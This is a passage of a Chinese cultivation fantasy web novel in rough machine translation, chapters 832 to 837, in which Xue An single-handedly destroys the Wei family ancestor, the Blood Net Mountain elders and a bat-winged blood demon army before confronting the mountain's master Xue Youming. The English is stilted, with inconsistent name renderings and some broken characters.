    Many practitioners couldn''t help closing their eyes, thinking that Xue An would definitely die.


    Shui Min sneered even more, thinking that Xue An was completely a man with a man''s arm as a car, and he was overpowered.


    boom!


    Fists against each other.


    A blinding bright light swept the audience.


    Even Guxiantai trembled a few times.


    If it weren''t for that layer of barriers, these onlookers would probably have to suffer from the fish.


    Even so, Man Tian Zhou couldn''t help backing a hundred feet.


    how about it? Who won?


    Everyone was a little surprised.


    His eyes all converged on Guxiantai.


    "Humph! Actually dared to fight against the ancestors of the Wei family. It is estimated that this guy has been blasted into flying ash, and his soul is destroyed!" Shui Min said mockingly.


    Mu Ya, who was standing on the side, had a cold eyes when she heard the words, she could not bear the stupidity of this stubborn woman.


    Therefore, she snorted coldly, "I have repeatedly provoked adults, we should fight!"


    With that, she raised her hand and slapped it.


    This Shui Min didn''t care at all when she started. In her opinion, what is the ability of a little maid who is driving a car with a whip, she is also a dignified fairy powerhouse at any rate, and dealing with this hand is nothing.


    So she sneered and was about to fight back.


    But at this time she was shocked to discover that under Mu Ya''s palm, she couldn''t even resist, and she could only watch Mu Ya slap it over.


    Snapped!


    A very clear and crisp sound Shui Min was directly blown out by the fan, and even almost smashed the boat out of a big hole.


    After landing, half of the water-sensitive face was swollen into a pig''s head, and his mouth was full of blood and broken teeth.


    She was a little stunned. She didn''t react until a moment later, and then screamed bitterly: "You bastard, dare to slap me? Even your master is dead, so you dare So arrogant..."


    The sound stopped abruptly.


    Because at this moment, the brilliance of the ancient Xiantai is gradually dissipating, and the situation inside is revealed.


    I saw Xue An, who was considered by everyone to be undoubtedly dead, with one hand behind him, his figure remained unchanged, and his face was indifferent.


    And the ancestor of the Wei family, who rushed in full of anger, was stuck in the air.


    Suddenly, he began to vomit blood, and then he was blown out directly.


    Seeing this scene, everyone was shocked.

 Chapter 832： Crush with one hand

    Many aristocratic family ancestors and patriarchs who were watching all this by the old gods suddenly stood up, their faces full of disbelief.


    As for the water sensitivity, he opened his mouth wide, watching all this blankly.


    How could this be!


    Why is this man so powerful that he actually defeated the ancestors of the Wei family?


    The senior sister Gan Jing was even more shocked, looking at Xue An''s proudly standing figure with some confusion.


    She finally understood how wrong and ridiculous her previous view of this man was.


    He even laughed at him for being arrogant.


    But now it seems that the one who doesn''t know the depth should be me.


    In Gan Jing''s heart, the five flavors are mixed, and she doesn''t know what it is like.


    At this moment, the ancestor of the Wei family, who had been shocked to the edge of Guxiantai, roared even though he was covered in blood.


    "I''m not convinced!"


    As he said, his beard and eyebrows exploded, the thunder light flickered crazily, and a figure of Lei Di condensed on the spiritual platform above his head.


    "It''s the Wei family''s unique knowledge, madly thundering into the emperor!"


    "Sure enough to be the ancestor of the Wei family, it looks like this battle is still unpredictable!"


    Those family ancestors talked a lot.


    And the ancestor of the Wei family said grimly: "Boy, you can make me proud of this trick! Take my life!"


    After that, the rays of light condensed suddenly, forming a round of light behind the ancestor of the Wei family, setting off him and the Thunder Emperor on the spiritual platform extremely powerful.


    This power even changed the expressions of the fierce ancestors and others on the viewing platform.


    Then the ancestor of the Wei family stepped out, raised his hands falsely, and fell suddenly.


    boom.


    I saw a huge square seal with a width of more than Li Xu descending from the sky, and went straight to Xue An to fall.


    "It''s Lei Di Yin!"


    "It hasn''t been seen in a hundred years, the strength of this ancestor Wei has improved so much! This young man is over!"


    In these comments, Xue An looked up and then chuckled lightly.


    "Good job!"


    With that said, Xue An held the sky with one arm and directly caught the Thunder Seal that had fallen from the sky.


    boom.


    The entire Guxiantai trembled violently, and Xue An''s body fell countless lightning.


    But in the thunderous light like a silver snake dancing, Xue An took the Lei Di seal, stepped forward, and the ancestor of the Wei family, who showed horror on his face, smiled slightly, "Is that strength?"


    As he said, Xue An suddenly gave a strong grip.


    With a click, the Thunder Emperor''s seal was squeezed.


    "Today, I will let you see what the real nine-day **** thunder is!"


    Xue An singled his finger to the sky and chuckled softly, "Thunder!"


    In an instant, there were thunderclouds in the sky, and a huge vortex pointed directly at Guxiantai.


    Then I saw the light surging in the whirlpool.


    Suddenly.


    A huge thunder light that eclipsed heaven and earth appeared at the top, and then went straight to the ancestor of the Wei family.


    The mind of the ancestors of the Wei family had been seized by this thunder that shook the world, and it was very difficult to even flick his fingers. He could only look at it with extremely horrified eyes.


    boom.


    Lightning shot down.


    The first to be broken was the statue of Lei Di on the ancestor of the Wei family.


    Immediately afterwards, the ancestor of the Wei family froze in place.


    Then it gradually turned into flying ash and disappeared between the sky and the earth.


    one strike.


    The ancestor of the Wei family was completely destroyed, and turned into ashes.


    In Guxiantai, only Xue An stood proudly.


    The audience was deadly quiet.


    Whether it is the ancestor of the wealthy family or the head teacher of the god-pin sect, everything has changed at this moment.


    Because Xue An just punched Wei Haogan, which was unexpected.


    The blow to repel the ancestors of the Wei family can be said to be amazing talent.


    But no one thought that Xue An could really destroy the ancestor of the Wei family.


    At this moment, someone trembling all over whispered softly: "He...he only used one hand the whole time!"


    The sound was not loud, but it spread throughout the audience.


    After that, everyone failed to speak.


    Yes!


    From the beginning to the present, Xue An has only used one hand, but like a windstorm, he crushed Wei Jiasheng.


    For a time, countless gazes of fear or awe fell on Xue An.


    However, the water sensitive and calm on the boat, the complexion became extremely ugly.


    Especially for Shui Ming, she was trembling all over. Although her swollen face had begun to swell, she still couldn''t hide the panic in her eyes.


    She finally understood that the man she had always looked down upon was the real Nine Heavens Dragon.


    Happiness!


    A burst of applause broke the silence of the audience.


    "Sure enough, this good show is wonderful and breathtaking!"


    Everyone turned to look around.


    On the viewing platform, the handsome Xuanyue was applauding and smiling.


    Xue An was noncommittal, his eyes swept from the six giant pillars one by one, and then said lightly: "You already know my identity, right?"


    As soon as this sentence came out, many people couldn''t help being surprised.


    "What does he mean by this?"


    "I don''t know, but things seem to have changed!"


    Seeing Xuan Yue sighed lightly, "Yes, this grand ceremony of asking the truth was originally prepared for you! Xue An, let all five of our brothers and brothers be dispatched, and even the ancestor of the fierce demon came to help, you Proud to be proud!"


    Xue An!


    Heard the name.


    The audience was silent at first, and then it was like a giant bomb that caused an uproar.


    "Oh my God! So he was the Xue An who wiped out Bliss Fang with his own power?"


    "No wonder he is so strong and incomparable, able to kill one by one, and kill the hero Luo Sanqian, this is definitely a peerless fierce!"


    "This time, all the adults from Blood Net Mountain were dispatched, it turned out to be for him! Now, this Xue An is probably in trouble!"


    Amidst many discussions.


    Shui Min was startled first, then a hint of joy appeared on his face.


    He turned out to be Xue An.


    It''s all right now. The adults who provoke the blood of Wangshan joined hands to deal with him. He is a true immortal, and he has to fall here today.


    But her pride didn''t last long.


    A strange fragrance will pour the nose.


    She was startled slightly and looked up.


    I saw Mu Ya who was just like a little maid, and she had already revealed her true colors at this moment. She glanced at her coldly, then walked into the void and came to Xue An''s side.


    "Mu Ya, I would like to follow the adults!"


    Muya?


    Many people looked at each other all of them were puzzled.


    Then someone exclaimed: "I recognize her, she is a bliss!"


    Elysium?


    Hearing this name, many cultivators were taken aback, and then their complexions became a little weird.


    Isn''t this bliss goddess the saint of bliss?


    It stands to reason that the Bliss Square was destroyed by this Xue An''s hands, and it should be an incomparable hatred with this bliss goddess.


    But now this blissful goddess is so respectful.


    How is this going?


    At the moment of suspicion, I saw a bright sword light flying across the sky from the sky, and arrived in the field in a flash.


    Then there was a cold voice, "Xue Lili, I am willing to fight with the adults!"

 Chapter 833： 1 sword across the sky, straight to cut all immortals

    Words fall.


    Xue Liuli in a sword suit appeared in the field.


    Jian Qi also came with her.


    Both of them stood behind Xue An.


    Seeing this scene, there was a commotion in the audience.


    "The snow drift of Zhanhonglou is also here, and today this battle is getting more and more lively!"


    Everyone talked a lot.


    Xuanyue, who was sitting high on the viewing platform, sighed slightly when she saw it, "Displaced Junior Sister, Junior Sister Mu Ya, I don''t know why you two are willing to be deceived by it. After all, he is the chief culprit for destroying you and other teachers. And today, he will definitely die!"


    Xue Liuli said indifferently: "Xuanyue, I don''t need you to comment on what I have done!"


    And Mu Ya sneered even more, "Let��s cry on the cat and cry and fake mercy, you don��t have many good things in the blood net mountain!"


    Xuanyue''s complexion sank, and coldly snorted: "Sure enough, I am obsessed with it!"


    The fierce demon ancestor gave a smirk, "Xue An, you kill my son, today, I want you to pay the price of blood!"


    After speaking, I saw that all the people on the six giant pillars were floating in the air, surrounding Guxiantai, trapping Xue An in it.


    "This... Is this going to besiege Xue An together?" someone exclaimed.


    At the same time, many people felt that they seemed to be suffocated in the face of the power of these six people.


    This is still a situation where they are far away, so you can imagine what kind of pressure Xue An in the ancient Xiantai will face.


    But at this time, people discovered that Xue An didn''t make any movements, and still stood there calmly, as if the power was just blowing the breeze.


    At this time, all the practitioners who were watching had also understood.


    This time asking the truth grand ceremony is basically a cover.


    Its real purpose is to deal with Xue An.


    Moreover, in order to eliminate Xue An, Blood Net Mountain has also laid down its blood, and actually sent five giants, and even the ancestors of the Occult Demon Valley came personally.


    This kind of battle is hard to say.


    But this also reflects Xue An''s strength from the side.


    In fact, at the very beginning, Xue Wangshan did not take Xue An seriously.


    However, after the people who surveyed Bliss Square came back, the news of the report caught Xuan Yue''s attention.


    Take a blow from the mountain and destroy Bliss Fang with your own power.


    These facts shocked Xuan Yue and other giants.


    Because he asked himself to be himself, he probably couldn''t do this.


    It can be seen that this Xue An is very powerful, and may even be a true immortal powerhouse.


    Under this worry, Xuan Yue reported the news to their master, the mountain master of Bloodnet Mountain.


    Then the master of the Blood Net Mountain, who had not been seen for a long time, returned four words.


    "The lion fights the rabbit!"


    Xuan Yue naturally understood what this sentence meant.


    As the king of beasts, the lion can use all its strength when hunting rabbits.


    What''s more, what you are facing right now is likely to be a true true immortal powerhouse?


    With this idea in mind, Xuan Yue immediately prepared for this enquiry ceremony and sent someone to invite the ancestor of the evil demon.


    In order to bring Xue An into here.


    This painstaking effort finally achieved results at this moment.


    Xuan Yue led the extremely senior brother and the fierce demon ancestor to besie this Xue An group.


    now.


    No matter who it is, everyone thinks Xue An is bound to die.


    In this regard, many people are quite sorry.


    But more people still breathed a sigh of relief in silence.


    This turned out Xue An puts too much pressure on people. Only when he is dead can he never suffer from future troubles.


    Xuan Yue said coldly at this time: "Xue An, I think your cultivation is not easy, now kneel down, we will give you a joy, if not, we will throw you into the **** abyss of our blood web mountain and endure endless pain !"


    Xue An laughed, and his smile was full of careless ease.


    "Just because of you guys, you want to kill me? And Xuan Yue, you worked so hard, in fact, it was in vain. Even if you don��t arrange this way, I will come here because I once treated your junior brother Luo San Qian said, this Blood Net Mountain, I am dead!"


    These words came out.


    Everyone looked at Xue An with eyes like a lunatic.


    In the face of such a desperate situation, he actually dared to speak provocatively, even saying that he would destroy the Bloodnet Mountain.


    This can no longer be described with the word arrogance.


    This is simply looking for death!


    really.


    This sentence completely angered Xuan Yue and others.


    "act recklessly!"


    The fierce demon ancestor has long been unable to contain the anger in his heart and took the lead.


    I saw his figure swayed, and his whole person instantly turned into a thousand feet tall, and then grinned and said: "Xue An, today I will step on you into mud!"


    With that, the fierce demon ancestor stepped down.


    As far as the mighty force was concerned, in addition to Guxiantai, the land with a radius of one hundred li collapsed into a big hole.


    All the boats in the sky were all shaken out, and everyone was shocked.


    "It''s a fierce magic phase! This fierce demon ancestor is worthy of being a true immortal powerhouse who has been famous for thousands of years, and this blow is even comparable to that of the immortal monarch!" someone exclaimed.


    Under such turbulent momentum, Xue An and Mu Ya and Xue who were behind him were like a small boat in the wind and rain, and their figures looked a little precarious.


    Many people shook their heads secretly.


    This Xue An is going to lose!


    But at this moment, only Xue An said calmly: "Do you know why I want to destroy your blood-net mountain?"


    Everyone was slightly startled.


    "Lu Yiyue of Sihua City, you should all know it!"


    Hearing these words, Xuan Yue and the giants were all shocked.


    "you����."


    Xue An smiled slightly, "Yes, I came from Sihua City!"


    Sihua City?


    Why does this name sound so strange?


    Many cultivators in the middle domain all showed doubts.


    at the same time.


    The foot of the fierce demon ancestor had already stepped down, and at the same time he heard his hideous laughter.


    "Boy, you can go to me now..."


    The laughter stopped abruptly, and then turned into a stern cry.


    Because Xue An used his hand as a sword and cut straight down.


    Click.


    One leg of this fierce demon ancestor was chopped off.


    Under the rush of blood, the predominant Dharma image disappeared.


    "Blood debt It''s time to pay with blood!"


    After Xue An said, everyone felt that the sky was dark.


    When I looked up, I saw that countless sword lights appeared in the void.


    These sword beams covered the sky and sun, but they all slowly rotated around Xue An.


    Jianwei reach.


    Ling Xuanyue these people are sinking.


    "How is it possible! How could you have such a powerful kendo cultivation base?"


    Now even Xuan Yue couldn''t help but change her face.


    Xue An smiled faintly, and stretched out one hand, the endless sword light quickly condensed in Xue An''s hands, and in a flash, it turned into a giant sword that stretched across the sky.


    "Today is the day when you Blood Net Mountain will be removed from this world!"


    After all, Xue An shot across the sky and cut all the immortals straight!

 Chapter 834： One step forward and the world retreats, this kind of power, only...

    This is a dreamlike scene.


    The world seems to be divided into two by Xue An''s sword.


    boom.


    A mountain dozens of miles away was swept by the sword light. After a rumbling sound, a huge crack appeared from the mountainside, and then the mountain began to fall slowly, breaking into two pieces.


    Cut the mountain with one sword.


    Immediately afterwards, the sword light blasted towards Xuan Yue, the ancestor of the fierce demon and others.


    Whether it was Xuan Yue or the few giants behind him, after seeing this sword light, they all showed an extremely solemn expression, and then screamed, displaying their strongest cultivation skills to fight against it.


    However, the ancestor of the fierce demon was severely damaged after Xue An''s leg was broken. So at this time, there was no time to resist. He could only scream, and then he was crushed by Jian Guang. Blood mist.


    A true celestial powerhouse who had been famous for a thousand years and was in charge of the Tianzong school fell.


    at the same time.


    The bloodnet mountain giant Feng Qiyao, who was relying on his cultivation base to resist this sword light on the outermost side, suddenly opened his mouth and spit out a mouthful of blood.


    Then the colorful halo surrounding the body shattered like a soap bubble, and was instantly cut into powder by Jianguang.


    This scene shocked all the four of Xuan Yue.


    Xuan Yue yelled loudly, "Join!"


    The other three senior brothers rushed behind him, and then the cultivation base merged into one, trying to resist Xue An''s sword.


    A cold smile appeared at the corner of Xue An''s mouth, "As I said, this world is really immortal, I will kill you and wait, just like looking at the lines on the palm!"


    boom.


    Following Xue An''s words, the sword light suddenly became more than doubled.


    Under this blinding sword light.


    These few beings who usually stood high and stood at the top of Guiyiwanyu finally screamed desperately.


    "Do not����."


    The voice just fell.


    This sword light just smashed the light curtain that the four of them had been struggling to maintain, and then cut across.


    The sword light finally dissipated.


    The figures of Xuan Yue and the other four were frozen in the air.


    A gust of wind passed.


    The figures of these four suddenly turned into powder, and they left with the wind.


    Deathly silence between heaven and earth.


    No one dared to speak.


    Even some people are shaking.


    No one thought that today''s Wenzhen Ceremony would turn out to be like this.


    Xue An, who thought he was bound to die, had a shocking comeback at the last moment, and directly killed the five giants of Blood Net Mountain and the ancestor of the evil demon.


    Especially the sword that shocked the world just now made all cultivators feel powerless.


    That is the awe when facing a strong man whose strength is far better than himself.


    As for the water sensitivity of the Huayu Temple, it is even more trembling, and it is almost fainted.


    Even Gan Jing was full of fright and regret.


    Because only she knew what a precious opportunity she had missed.


    If it was a good hospitality when I first met Xue An, I would have a good relationship.


    So what kind of existence will the Huayu Temple in the future be?


    Unfortunately, there is no regret medicine in the world.


    She could only stare at the sky that had become empty in a daze.


    at this time.


    From the far sky, at the top of the mountain covered by clouds and mist, an angry grunt came.


    This sound is not loud.


    But like a nuclear bomb, with supreme power, it rushed straight from the distant sky.


    Wherever he went, a shock wave visible to the naked eye shredded all the clouds in the sky.


    Those slightly weaker cultivators were shattered before they even had time to scream.


    Only a strong person above the half-step Jinxian could barely protect himself, but he was also pale and faltered by this power.


    Xue An stood on the ancient Xiantai, looking at the mountain peaks far away, a faint smile appeared on the corner of his mouth.


    "Finally can''t help it?"


    As he said, Xue An waved casually.


    Directly shattered the power of this rush.


    But at this moment, I only heard someone trembling and shouting: "Look... what''s that?"


    Everyone looked up.


    I saw that countless figures with wings suddenly emerged from the peaks of the sky.


    There are so many figures that they even obscured the sky.


    Then these figures flew over, covering the sky and the sun.


    After waiting a little closer, people were surprised to find out.


    Those with wings on their backs are all humans.


    And their wings are bare and hairless, like fleshy membranes, looking...like bats.


    "It''s the Gorefiend! This is the Gorefiend Legion!" The knowledgeable cultivator shuddered and shouted in horror.


    Hear the words Blood Demon Legion.


    Many older cultivators instantly turned pale as paper.


    The reason why Bloodnet Mountain has been so detached in ten thousand years is partly because of the emergence of strong men, but more because of the frightening blood demon army.


    It was heard that as soon as this blood demon army appeared, it would be a catastrophe between heaven and earth, and only when they were satisfied with the killing would they retreat.


    I didn''t expect to encounter it here today.


    Many cultivators looked desperate, and even more so quickly, they turned and ran.


    For a time, the sky full of boats and boats collided together, and the chaos almost became a pot of porridge.


    at the same time.


    The blood demon army rushed to the front.


    The nearest cultivators were too late to resist and were swallowed by these monsters.


    After a burst of scalp tingling chewing sound, except for a few drops of blood, such a strong man did not even fall out of the bones and was completely swallowed.


    This scene even scared these cultivators crying and calling their mothers, and they wished to leave this terrifying **** quickly.


    At the same time, most of the Gorefiend regiment rushed towards Gusendai.


    Without waiting for Xue An''s instructions, Xue Liuli, Mu Ya and the others gave a soft drink, soaring into the sky to meet the sky full of Blood Demon Legion.


    I saw Xueliu wielding a sword and slashing continuously. With every sword, dozens of blood demons would be cut to the ground.


    Mu Ya waved her long sleeves, and the blood demon was broken by the sleeves.


    Even Jian Qi launched an attack without fear.


    For a time, this ancient Xiantai corpse ran across the wild, blood flowing into rivers.


    But these gorefiends are too many.


    Under this endless impact, even if the snow drifted away, it showed a trace of irresponsibility.


    As for the other cultivators, they were covered in blood and despair.


    At this moment Xue An looked up at the sky and sighed slightly.


    "You have cultivated so many blood demons, how many innocent people have been killed by you bloodnet mountain over the years?"


    Speaking of the latter, Xue An''s words were already full of murderous intent.


    Then he stepped out.


    boom!


    In one step, the **** demon fell countless.


    Then Xue An began to stride towards the extreme mountain peak.


    And every time he took a step, the blood demon army in the sky would fall countless.


    If you look down from the sky, you can see such a picture.


    Under Xue An''s step by step, the blood all over the sky began to recede step by step.


    Further and the world retreats, this kind of power, only Xue An.

 Chapter 835： Fa Tian Xiang Di

    All the cultivators stopped their movements and stared blankly at Xue An, who was facing the sky full of blood demons alone, step by step towards the distant sky.


    With every step taken, his momentum will grow stronger.


    After waiting, Xue An exuded an incomparably powerful power, and when he stepped down, the world was shaking.


    "This...is this the power of an adult?" Xueliu looked at Xue An''s back blankly and whispered softly.


    At this moment, Mu Ya rushed forward without hesitation and followed Xue An.


    Xue Liuli trembled all over his body when he saw this, and then recovered sober, and then hurriedly followed.


    The remaining practitioners glanced at each other, and they all moved forward.


    In an instant, the Blood Demon Legion that had just covered the sky was slaughtered by Xue An with his own power.


    And the blood-net mountain towering over the sky appeared in front of everyone.


    At this moment, I saw countless powerful auras rising into the sky in this blood web mountain.


    Surprisingly, he is the disciple of countless blood net mountains.


    The cultivators of the Blood Net Mountain lined up in the air, gathering momentum, making people afraid to look directly.


    At the front of the team, there were a dozen old men in black robes.


    "It''s the elders of Blood Net Mountain!"


    "One or two...My God, they are all true immortal powerhouses, and there are as many as 13 people."


    Some people can''t help but smack secretly.


    "Xue An, your cultivation is really good! But you are too arrogant, and you actually slaughtered all the six true biography of my Blood Net Mountain. Such monstrous sins can only throw you into the **** abyss and endure the torture of eternal life. Atonement!"


    The old man standing in the front, wearing a black robe and a green face and long beard, said indifferently.


    Although he was simply standing in the air, his mighty body was like a huge rock, pressing on the hearts of many cultivators.


    And every word he said is so important that Huanyu trembled.


    Many people with a slightly weaker cultivation base, even after hearing his words, can no longer control themselves, and can only kneel to the ground fighting with their legs.


    "Speak up and follow the law! He is the elder Mieqing!"


    "I heard that he was the peak of the true immortal a thousand years ago, and he is even a short distance from Daluo! Now that he has also appeared, it seems that this Xue An is really in trouble!"


    Among the many discussions, Xueliu and Mu Ya''s hearts couldn''t help but sink.


    Although they have absolute confidence in Xue An.


    But the power of Xuewangshan is really shocking.


    Xue An still had a calm expression on his face, and then gently shook his head, "Is he still reluctant to appear?"


    "Huh?" The elder Mieqing was startled slightly, "Xue An, what are you talking about?"


    Xue An raised the corner of his mouth and smiled faintly, "It''s nothing, I''m just saying that it''s a wishful thinking that you guys want to stop me."


    At this moment, everyone was discolored by it.


    Especially the thirteen elders of Blood Net Mountain, Qi Qi coldly snorted.


    "The fanatic is so courageous!"


    "Really looking for death!"


    "Kill him! Revenge for our disciples!"


    These cold shouts continued one after another, and the cold murderous aura spread all over the void, causing the space around Xue An to be instantly frozen by the extreme cold ice and snow.


    Under such power, Xue An smiled coldly, then raised his eyes to look at the peak of Bloodnet Mountain, and said lightly: "Since you refuse to appear, then I will fight you and have to show up!"


    After all, Xue An''s figure flickered, her momentum suddenly skyrocketed, and her figure began to rise steadily.


    In a flash.


    He turned into a wild giant with a height of ten thousand feet, and even the clouds just hovered around his waist.


    Then Xue An lowered his head to look down at the cultivators of Blood Net Mountain, smiled coldly, raised his foot and stepped on it heavily.


    Just now the ancestor of the fierce demon also performed this kind of genius of heaven and earth.


    But how can his fierce magic look be comparable to Xue An''s.


    I saw the golden light shining on one of Xue An''s big feet, as if the space was crushed, and he stepped down heavily.


    This scene horrified all the onlookers.


    The ancestor head teachers of those family sects were even more pale.


    Because Xue An''s attack was beyond their imagination.


    The many disciples of the blood net mountain also changed their colors.


    At this moment, only one bloodnet mountain elder roared: "Xue An, today is your death date!"


    After all, he rose up into the sky and turned into a golden light, directly resisting Xue An''s falling foot.


    boom!


    Just one contact.


    The elder was shocked by Xue An''s supreme power, and opened his mouth to spit out blood.


    But he still refused to admit defeat, roaring and urging his whole body to cultivate, trying to withstand this foot.


    But all of his actions were like a worm shaking a tree, and it didn''t help at all.


    Xue An''s foot did not even stop, and continued to fall slowly.


    "Elder Muxiang, this is great, I''ll help you!"


    As he said, an elder who was also surrounded by golden light and majestic also rushed over and stopped at Xue An''s feet.


    boom.


    After a muffled sound.


    The new elder snorted and spurted out a mouthful of blood.


    But Xue An''s feet didn''t even slow down at all, and they were still pressing down.


    "Go together!"


    "Don''t let this one succeed!"


    After a loud shout, the thirteen elders rushed forward.


    Especially for the elder Mieqing, he saw his body covered in golden light, surrounded by faint real dragons, and at the same time, his entire body became a thousand feet up and down. When he rushed to the front and back, he held the sky with his hands and slammed up.


    "Drive me!"


    boom!


    An invisible shock wave spread from the place where the two sides fought, directly cutting off another small mountain that was closer.


    In this situation, Xue An''s feet were slowly propped up, as if to force Xue An away.


    "Xue An, once your law is broken, it will be the time when you die!" Mieqing shouted.


    Xue An smiled faintly, "It''s interesting! Unfortunately, it''s not enough! Because I haven''t even used 10% of my strength!"


    what?


    This foot, which was barely supported by the power of the thirteen elders of Blood Net Mountain, did not even use Xue An''s strength?


    Many people are unbelievable.


    Mieqing and others sneered even more.


    "Hu blow the atmosphere!"


    "Yes It''s so arrogant!"


    At this moment, Xue An''s eyes were slightly cold, and he gave a cold snort, and then his left foot, which had just been lifted away, slammed down again.


    This powerful force even squeezed the air along the way, and the loud noise blasted the onlookers back dozens of miles.


    "Do not!"


    The thirteen elders showed fright and despair on their faces, and shouted, they wanted to run away.


    But how could Xue An give them this opportunity.


    Just listen to a loud bang.


    The first person to bear the brunt was the Muxiang elder, who saw his body directly crushed by the powerful force that was able to resist, and even the soul could not escape.


    Immediately there was a dozen bursts of sound.


    The remaining elders were shattered one after another.

 Chapter 836： Uncover the truth

    In the end, only one elder was left.


    At this moment, his green noodles have become purple, sweating profusely, and he is struggling to support him with his thousands of feet of law.


    But under Xue An''s punishing kick, any struggle is futile.


    So after supporting less than a dozen breaths.


    With a scream of Extinguishment, the Qianzhang Law Body began to disintegrate from the arm of Tuotian.


    In an instant, this peerless real immortal who had been famous for more than a thousand years was trampled on by Xue An''s feet and turned into a sky full of powder.


    Then Xue An''s foot was no longer obstructed, and he stepped directly down.


    boom.


    God''s might.


    These disciples of the sects of the Blood Net Mountain, which had lined up all over the sky, couldn''t even evade, so they were crushed into blood mist.


    And after Xue An fell to the ground.


    Look at the sky again.


    The Blood Net Shanmen who had just occupied most of the sky had already been wiped out by this foot.


    The rest also retreated in horror.


    And the thirteen elders of Blood Net Mountain didn''t even have a bone residue left.


    Seeing this scene, all repairers were shocked.


    Whether it was Tianjiao, the ancestor of the wealthy and ancient tribe, or the patriarch of the great sect, all the cultivators watched this scene dumbfounded.


    Because just now, they were still whispering in their hearts how Xue An should deal with this violent bloodnet mountain.


    Some people even think that Xue An will have to run away even if he can''t die in the end.


    But who can think of it.


    The situation turned around in an instant.


    Xue An, who was a powerful true celestial powerhouse, was trampled on and exploded by Xue An.


    Even the elder Mieqing, who is known as the number one under the immortal monarch, ended in a dead end.


    At this moment, everyone''s eyes looked at Xue An changed.


    If there were people who thought that Xue An was strong, but after all, he was too young to be defeated in the face of a long-established peerless powerhouse.


    So now, Xue An completely shocked the audience with unfathomable strength.


    No one dared to treat Xue An with contempt and negligence anymore.


    At this moment, the Blood Net Mountain suddenly trembled, and then from the depths of the earth, a powerful and trembling aura rose to the sky.


    This momentum is so powerful that it even covers the entire Yuanyu Plateau.


    All the practitioners trembled at it.


    Those with a slightly lower level of cultivation were even suppressed by it, squatting on the ground, not even daring to lift their heads.


    Then I heard a sound that shook the world.


    "Xue An, I admit that I underestimated you before. You are really strong enough that I even had to break the barrier and come out to deal with you! But that''s all!"


    Following the voice, a figure gradually emerged on the top of the Blood Net Mountain.


    This is a man wearing a blood-red robe, covered in layers of blood, only revealing a pair of bottomless scarlet eyes.


    See this man.


    Countless people''s eyes widened.


    "This...Is this the blood-net-mountain master who has been in retreat for a hundred years in the rumor, known as the blood nether of the only immortal monarch in the world?" Someone exclaimed.


    As soon as the three words "Xue Youming" came out, it seemed as if there was some infinite magic power, causing everyone to say nothing.


    Many people smiled bitterly and shook their heads secretly.


    Today''s enquiry ceremony is really a twists and turns.


    First, Xue Anxiu, who was not regarded by everyone, was shocking, and even wiped out most of the entire Blood Web Mountain.


    But when the only remaining half-step Da Luo Xue Nether appeared in the world.


    Many people are still worried about it.


    Could it be that... can this Xue An even defeat this Blood Nether?


    impossible!


    After all, that is Xianjun!


    Everyone is hesitating.


    Xue An showed white teeth and smiled.


    "You finally...will you show up?"


    Xue Youming snorted coldly, "Xue An, you have destroyed my orthodoxy, and the crime is punishable. You dare to provoke me again and again. Do you really think I can''t kill you?"


    Between the words, layers of blood light undulates around Xue Nether''s body, and the shining sky is full of scarlet red colors.


    Xue An stood between heaven and earth at this moment, between his breath, thousands of miles of clouds swayed, and then smiled coldly.


    "I said before, you bloodnet mountain I will be destroyed, no one can save it! Because I said it!"


    "Arrogant! Thinking of my blood net mountain ten thousand years of Taoism, how can a small golden fairy in your area be able to shake it!" Xue Youming laughed mockingly and shook the sky.


    But at this moment, Xue An said indifferently: "Ten thousand years of Taoism, huh? It''s just a watchdog for ten thousand years, but he said how great he is!"


    The sound of Blood Nether''s laughter stopped abruptly, and the scarlet blood in his eyes almost overflowed.


    "you����."


    Xue An waved his hand, "How do I know?"


    "I don''t know if you remember... Where''s the Blood Skull Pirate Guild?"


    Hearing these words, Xue Youming was shocked, "It was you who slashed my clone that day?"


    Xue An smiled faintly, "Yes!"


    Xue Youming''s eyes flickered, and his tone was cold and cold: "So, you are a cultivator from outside the domain?"


    Outsider?


    When many practitioners heard this, they all looked puzzled.


    Only some of the old ancestors who have lived through the world have changed their faces.


    Because this one star, even though it has cultivated Dachang, it is like a deserted place. It has been a long time since there have been no cultivators from outside the territory.


    I didn''t expect this Xue An to be!


    In this way, many problems that are otherwise difficult to explain can be justified.


    For example, why is Xue An''s so powerful cultivation base that he has not been famous before?


    At this time, Xue An nodded and said lightly: "In fact, I had doubts when I was in the pirate headquarters. After I came to this Guiyi Star, my doubts became stronger and stronger."


    "Until later I met someone, a person named Great Meng Jianzun Fang Xianjue!"


    Hearing the name Fang Xianjue, the **** ghost couldn''t help but tremble slightly, and coldly snorted, "I didn''t expect this guy to be alive!"


    "I was alive, but now I am dead! But before he died, he told me one thing! And this incident confirmed my guess."


    Xue An''s tone became colder, "The real backstage behind you, Blood Net Mountain, is actually another world! And if I guess right, it should be the Blood God Realm!"


    All the onlookers are already stupid.


    But Blood Nether laughed loudlyXue An, you are indeed very smart, yes, our Blood Net Mountain was ordered by the Lord Blood God to guard this world! "


    boom!


    There was a commotion in the crowd.


    Xue An''s tone became increasingly cold at this time.


    "Lu Yiyue of Nasihua City, it should be your master who ordered the suppression and persecution!"


    "Haha, Xue An, I finally understand why you are so concerned about these things. If I guessed correctly, you should also be a Chinese cultivator, right?" Xue Youming sneered.


    Xue An nodded.


    "Yes!"


    "The Chinese are really talented, and there is a young master like you who is a wizard of heaven. It is a pity... you still have to die here today! Because you know so much!"

 Chapter 837： Upside Down Blood Web Mountain

    Xue Youming said in a cold voice, and then made a bold move.


    In fact, he was quite jealous of Xue An in his heart.


    Because at the time of the Blood Nether Retreat, although his main body was asleep, he used the blood mystery technique to refine an external avatar to handle various things outside.


    The people in the headquarters of the Blood Skull Pirate Guild are his clones.


    At that time he was negotiating with these interstellar pirates to purchase the power of the stars.


    It happened that Xue An broke in, and cut out with a sword in the time he left.


    This sword almost prevented his external incarnation from returning.


    In the end, although he barely returned, the power of that sword completely destroyed his hard-worked incarnation.


    This naturally made Blood Nether shake.


    And the strength that Xue An showed just now made him even more shocked.


    Therefore, his move is a strong ultimate move.


    I saw him burst out loudly, "Destroy the World''s Blood River!"


    boom.


    Above his head, there was a hundred li wide and connected to the sky, in which a river of blood rushing suddenly appeared.


    Then this endless blood covered the sky and covered Xue An.


    Wherever he went, it seemed that even the air was contaminated by this extremely poisonous blood, and black smoke appeared.


    "grown ups����."


    Xue Liuli, Mu Ya and others couldn''t help but screamed.


    Xue An''s face was cold, and his eyes were cold.


    "Hurting my Chinese ancestor, causing her to be seriously injured, and finally letting her die after thousands of years of pain. This is a sin!"


